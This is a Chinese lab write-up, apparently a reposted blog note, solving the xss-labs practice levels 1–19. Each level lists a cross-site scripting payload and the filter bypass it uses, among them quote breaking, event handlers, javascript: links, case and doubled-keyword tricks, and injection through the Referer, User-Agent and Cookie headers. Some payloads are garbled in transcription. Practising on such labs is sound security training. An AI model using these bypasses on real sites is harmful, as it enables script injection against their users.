xss_labs通关
作者:互联网
写着玩的笔记,随便看看就行,没啥价值。
Level 1
在url中name参数显示在页面上,直接尝试 ?name=<script>alert(1)</script>
Level 2
直接输入 不行,查看response
加上 ">
进行闭合
payload: "><script>alert(1)</script>
Level 3
知识点:
-
php函数:htmlspecialchars()
<?php $str = "This is some <b>bold</b> text."; echo htmlspecialchars($str); ?>
输出:
This is some <b>bold</b> text.
该函数将预定义字符转换为实体
预定义的字符是:
& " ' < >
所以带尖括号的
<script>
不会被触发,绑定事件onclick=alert(1)
'onclick=alert(1) '
会变成这样:
<input name=keyword value=''onclick=alert(1) ''>
Level 4
和level3相比 直接将闭合的单引号 改成双引号即可
Level 5
看源码 过滤了 on和script 在input的value处没有htmlspecialchars的处理
相关参考:
https://blog.csdn.net/qq_29277155/article/details/51320064
用 a 标签:链接标签里可以通过在 URL 中使用 javascript:… 来执行 JavaScript:
"><a href='javascript:alert(1)'>aa</a>
Level 6
这里href会被过滤掉 但是 str 没有做小写处理,大写即可绕过
"><a hRef='javascript:alert(1)'>aa</a>
Level 7
这里做了小写处理,script和href直接替换为空,尝试双写。
"><a hRhrefef='javasscriptcript:alert(1)'>aa</a>
Level 8
javascript:alert(1)
s
表示ascii码为0x73的字符s,即可绕过script的替换
Level 9
javascript:alert(1)//http://
这道题看源码发现必须包含http 中间的// 是用来注释后面内容的
Level 10
?keyword=123&t_sort="%20onclick=alert(1)%20"%20type="text">
这里可以看到有三个hidden的input 经过尝试 只有 t_sort 可以利用,通过type="text"来使输入框显形,再点击输入框来触发 onclick 事件
Level 11
跳转到11后,查看网页代码
这里的t_ref 估计 和 HTTP_REFERER 有关
试试t_sort是否可以利用,但是尝试过后发现>
被过滤了,抓包修改headers
中的referer
将其内容写为 " onclick=alert(1) type="text"
发现成功
查看源码,发现t_ref这里没有经过过滤。
Level 12
估计可能和 user_agent 有关,和11类似,不再赘述 抓包修改即可。
Level 13
差不多 这里是改cookie
Cookie: user=" onclick=alert(1) type="text"
成功
Level 14
题目貌似有问题 略
Level 15
<body><span class="ng-include:1.gif"></span></body>
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include
属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
尝试:?src='level1.php?name=<script>alert(1)</script>'
发现不行
百度 ?src='level1.php?name=<img src=1 one rror=alert(1) />'
onerror用来图片视频加载失败时 触发的事件
Level 16
script / 空格被过滤,用 %0d 即 /r 回车 或 %0a 即 /n 换行符 来绕过
<img%0asrc=1%0aonerror=alert(1)>
Level 17
?arg01=a&arg02=b onm ouseover=alert(1)
关键源码:
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
level 18
和17一样绕过
Level 19
和20一样 flash插件不支持了 懒得弄了
标签:xss,name,Level,text,alert,labs,源码,onclick,通关 来源: https://www.cnblogs.com/Beyond-189/p/15278955.html